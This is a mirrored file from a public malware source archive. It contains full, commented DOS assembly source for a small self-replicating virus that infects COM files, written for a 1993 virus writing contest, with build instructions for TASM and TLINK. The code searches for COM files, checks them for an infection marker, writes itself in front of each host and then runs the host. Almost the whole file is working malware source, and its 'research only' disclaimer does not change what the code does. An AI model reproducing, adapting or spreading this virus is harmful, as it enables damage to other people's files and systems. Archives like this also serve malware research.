mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
153 lines
7.2 KiB
NASM
153 lines
7.2 KiB
NASM
;A small (139 byte) virus with minimal required functionality.
|
||
|
||
;This Virus for research purposes only. Please do not release!
|
||
;Please execute it only on a carefully controlled system, and only
|
||
;if you know what you're doing!
|
||
|
||
;An example for
|
||
|
||
;#######################################################
|
||
;# THE FIRST INTERNATIONAL VIRUS WRITING CONTEST #
|
||
;# 1 9 9 3 #
|
||
;# sponsored by #
|
||
;# American Eagle Publications, Inc. #
|
||
;#######################################################
|
||
|
||
;Assemble this file with TASM 2.0 or higher: "TASM LITTLE;"
|
||
;Link as "TLINK /T LITTLE;"
|
||
|
||
;Basic explanation of how this virus works:
|
||
;
|
||
;The virus takes control when the program first starts up. All of its code is
|
||
;originally located at the start of a COM file that has been infected. When
|
||
;the virus starts, it takes over a segment 64K above the one where the program
|
||
;was loaded by DOS. It copies itself up there, and then searches for an
|
||
;uninfected file. To determine if a file is infected, it checks the first two
|
||
;bytes to see if they are the same as its first two bytes. It reads the file
|
||
;into memory right above where it is sitting (at 100H in the upper segment).
|
||
;If not already infected, it just writes itself plus the file it infected back
|
||
;out to disk under the same file name. Then it moves the host in the lower
|
||
;segment back to offset 100H and executes it.
|
||
|
||
|
||
.model tiny ;Tiny model to create a COM file
|
||
|
||
.code
|
||
|
||
;DTA definitions
|
||
DTA EQU 0000H ;Disk transfer area
|
||
FSIZE EQU DTA+1AH ;file size location in file search
|
||
FNAME EQU DTA+1EH ;file name location in file search
|
||
|
||
|
||
ORG 100H
|
||
|
||
;******************************************************************************
|
||
;The virus starts here.
|
||
|
||
VIRSTART:
|
||
mov ax,ds
|
||
add ax,1000H
|
||
mov es,ax ;upper segment is this one + 1000H
|
||
mov si,100H ;put virus in the upper segment
|
||
mov di,si ;at offset 100H
|
||
; mov cl,BYTE (OFFSET HOST AND 0FFH) ;can't code this with TASM
|
||
mov cl,8BH ;we can assume ch=0
|
||
rep movsb ;this will louse the infection up if run under debug!
|
||
mov ds,ax ;set ds to high segment
|
||
push ds
|
||
mov ax,OFFSET FIND_FILE
|
||
push ax
|
||
retf ;jump to high memory segment
|
||
|
||
;Now it's time to find a viable file to infect. We will look for any COM file
|
||
;and see if the virus is there already.
|
||
FIND_FILE:
|
||
xor dx,dx ;move dta to high segment
|
||
mov ah,1AH ;so we don't trash the command line
|
||
int 21H ;which the host is expecting
|
||
mov dx,OFFSET COMFILE
|
||
mov ch,3FH ;search for any file, no matter what attribute (note: cx=0 before this instr)
|
||
mov ah,4EH ;DOS search first function
|
||
int 21H
|
||
CHECK_FILE: jc ALLDONE ;no COM files to infect
|
||
|
||
mov dx,FNAME ;first open the file
|
||
mov ax,3D02H ;r/w access open file, since we'll want to write to it
|
||
int 21H
|
||
jc NEXT_FILE ;error opening file - quit and say this file can't be used
|
||
mov bx,ax ;put file handle in bx, and leave it there for the duration
|
||
|
||
mov di,FSIZE
|
||
mov cx,[di] ;get file size for reading into buffer
|
||
mov dx,si ;and read file in at HOST in new segment (note si=OFFSET HOST)
|
||
mov ah,3FH ;DOS read function
|
||
int 21H
|
||
mov ax,[si] ;si=OFFSET HOST here
|
||
jc NEXT_FILE ;skip file if error reading it
|
||
|
||
cmp ax,WORD PTR [VIRSTART] ;see if infected already
|
||
jnz INFECT_FILE ;nope, go do it
|
||
|
||
mov ah,3EH ;else close the file
|
||
int 21H ;and fall through to search for another file
|
||
|
||
NEXT_FILE: mov ah,4FH ;look for another file
|
||
int 21H
|
||
jmp SHORT CHECK_FILE ;and go check it out
|
||
|
||
COMFILE DB '*.COM',0
|
||
|
||
;When we get here, we've opened a file successfully, and read it into memory.
|
||
;In the high segment, the file is set up exactly as it will look when infected.
|
||
;Thus, to infect, we just rewrite the file from the start, using the image
|
||
;in the high segment.
|
||
INFECT_FILE:
|
||
xor cx,cx
|
||
mov dx,cx ;reset file pointer to start of file
|
||
mov ax,4200H
|
||
int 21H
|
||
|
||
mov ah,40H
|
||
mov dx,100H
|
||
mov cx,WORD PTR [di] ;adjust size of file for infection
|
||
add cx,OFFSET HOST - 100H
|
||
int 21H ;write infected file
|
||
|
||
mov ah,3EH ;close the file
|
||
int 21H
|
||
|
||
;The infection process is now complete. This routine moves the host program
|
||
;down so that its code starts at offset 100H, and then transfers control to it.
|
||
ALLDONE:
|
||
mov ax,ss ;set ds, es to low segment again
|
||
mov ds,ax
|
||
mov es,ax
|
||
push ax ;prep for retf to host
|
||
shr dx,1 ;restore dta to original value
|
||
mov ah,1AH ;for compatibility
|
||
int 21H
|
||
mov di,100H ;prep to move host back to original location
|
||
push di
|
||
; mov cx,sp ;move code, but don't trash the stack
|
||
; sub cx,si
|
||
mov cx,0FE6FH ;hand code the above to save a byte
|
||
rep movsb ;move code
|
||
retf ;and return to host
|
||
|
||
;******************************************************************************
|
||
;The host program starts here. This one is a dummy that just returns control
|
||
;to DOS.
|
||
|
||
HOST:
|
||
mov ax,4C00H ;Terminate, error code = 0
|
||
int 21H
|
||
|
||
HOST_END:
|
||
|
||
END VIRSTART
|
||
|
||
|
||
|
||
|
||
|